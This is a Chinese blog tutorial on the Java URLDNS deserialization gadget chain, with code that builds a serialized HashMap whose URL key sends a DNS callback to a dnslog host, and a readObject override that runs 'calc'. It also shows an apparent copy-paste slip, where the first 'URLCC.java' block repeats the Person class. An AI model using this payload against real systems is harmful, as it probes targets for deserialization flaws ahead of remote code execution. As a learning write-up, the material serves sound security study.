Java URLDNS链学习

原生Java序列化

被序列化的对象必须继承Serializble

Person.java

 
package com.superman;
 ​
import java.io.Serializable;
 ​
public class Person implements Serializable {
     private String name;
     private int age;
 ​
     @Override
     public String toString() {
         return "Person{" +
                 "name='" + name + '\'' +
                 ", age=" + age +
                 '}';
     }
 ​
     public String getName() {
         return name;
     }
 ​
     public void setName(String name) {
         this.name = name;
     }
 ​
     public int getAge() {
         return age;
     }
 ​
     public void setAge(int age) {
         this.age = age;
     }
 ​
     public Person(String name, int age) {
         this.name = name;
         this.age = age;
     }
 }

序列化程序 URLCC.java

 package com.superman;
 ​
 import java.io.Serializable;
 ​
 public class Person implements Serializable {
     private String name;
     private int age;
 ​
     @Override
     public String toString() {
         return "Person{" +
                 "name='" + name + '\'' +
                 ", age=" + age +
                 '}';
     }
 ​
     public String getName() {
         return name;
     }
 ​
     public void setName(String name) {
         this.name = name;
     }
 ​
     public int getAge() {
         return age;
     }
 ​
     public void setAge(int age) {
         this.age = age;
     }
 ​
     public Person(String name, int age) {
         this.name = name;
         this.age = age;
     }
 }

反序列化程序 UnserializeTest.java

 package com.superman;
 ​
 import java.io.*;
 ​
 public class UnserializeTest {
     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
         Object object = objectInputStream.readObject();
         return object;
     }
     public static void main(String[] args) throws IOException, ClassNotFoundException {
         Person person = (Person) unserialize("C://ser.txt");
         System.out.println(person);
     }
 }

当被序列化对象里面重写了readObject方法,反序列化时重写的readObject中代码会自动执行。

如将上面Person类添加一个readObject方法

Person.java

package com.superman;
 ​
 import java.io.IOException;
 import java.io.ObjectInputStream;
 import java.io.Serializable;
 ​
 public class Person implements Serializable {
     private String name;
     private int age;
 ​
     @Override
     public String toString() {
         return "Person{" +
                 "name='" + name + '\'' +
                 ", age=" + age +
                 '}';
     }
 ​
     public String getName() {
         return name;
     }
 ​
     public void setName(String name) {
         this.name = name;
     }
 ​
     public int getAge() {
         return age;
     }
 ​
     public void setAge(int age) {
         this.age = age;
     }
 ​
     public Person(String name, int age) {
         this.name = name;
         this.age = age;
     }
 ​
     private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
         ois.defaultReadObject();
         Runtime.getRuntime().exec("calc");
     }
 }

反序列化漏洞条件

共同条件继承Serializable

入口类 source(重写readobject方法,调用常见函数,参数类型宽泛,最好jdk自带)

调用链 gadget chain 相同名称,相同类型

执行类sink (rce ssrf写文件等)

URLDNS链就是利用了hashCode方法,具体分析如下。

寻找入口类

Map接口参数类型宽泛,其实现类HashMap()继承Serializable并重写了readObject方法,readObject里面调用了常见的函数。一般都是使用该类为入口类

image-20220121174423484

image-20220121174445686

for循环遍历mapping,并将键进行hash计算确保键的唯一性。走进hash方法,当key不为null时进行hashCode计算,而hashCode方法是一个常用方法。

image-20220121174739396

这样我们就找到了一个入口类hashMap,接下来我们就寻找哪些调用函数调用了hashCode方法。

调用链

这里以URLDNS链为例,首先URL类也继承了Serializable

image-20220121175103054

并且与HashMap一样实现了hashCode方法

image-20220121175819848

尝试写下序列化方法

URLCC.java

 
package com.superman;
 ​
 import java.io.*;
 import java.net.URL;
 import java.util.HashMap;
 ​
 public class URLCC {
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
 ​
     public static void main(String[] args) throws IOException {
         //入口类
         HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();

         //调用链
         URL url = new URL("http://nk436i.ceye.io");

         //执行类
         hashMap.put(url,123);
         serialize(hashMap);
     }
 }

当我们去序列化的时候发现dnslog平台会接收到请求,追其原因是当hash.put时会触发key.hashCode(),而这个key在代码中是URL类对象,

image-20220126151006727

image-20220126151045060

URL的hashCode方法,当hashCode等于-1时便走不进希望的handler.hashCode方法,实现getHostAddress方法去请求dns。其中hashCode初始化赋值-1,所以需要用反射修改其属性值

image-20220126151155652

handler.hashCode代码

image-20220126151353861

修改代码逻辑

URLCC.java

 package com.superman;
 ​
 import java.io.*;
 import java.lang.reflect.Field;
 import java.net.URL;
 import java.util.HashMap;
 ​
 public class URLCC {
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
 ​
     public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
         //入口类
         HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();
 ​
         //调用链
         URL url = new URL("http://nk436i.ceye.io");
           //将hashCode更改为非-1的值,使其序列化的时候不会发起dns请求
         Class<? extends URL> aClass = url.getClass();
         Field hashCodeField = aClass.getDeclaredField("hashCode");
         hashCodeField.setAccessible(true);
         hashCodeField.set(url,1234);
 ​
         //执行类
         hashMap.put(url,123);
           //将hashCode改为-1,使其反序列化的时候能发起dns请求
         hashCodeField.set(url,-1);
         serialize(hashMap);
     }
 }

UnserializeTest.java

 
package com.superman;
 ​
 import java.io.*;
 ​
 public class UnserializeTest {
     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
         Object object = objectInputStream.readObject();
         return object;
     }
     public static void main(String[] args) throws IOException, ClassNotFoundException {
         unserialize("C://ser.txt");
     }
 }

总结下来这类反序列化利用就是反序列化后调用HashMap的重写的readobject,里面继续调用到key.hashCode等常用方法,只要找同样为Object类型有hashCode方法的类即可,URLDNS链并不能存在实际危害,只是用来探测是否能反序列化利用的工具链。

posted @ 2022-02-10 10:04  我要变超人  阅读(111)  评论(0编辑  收藏  举报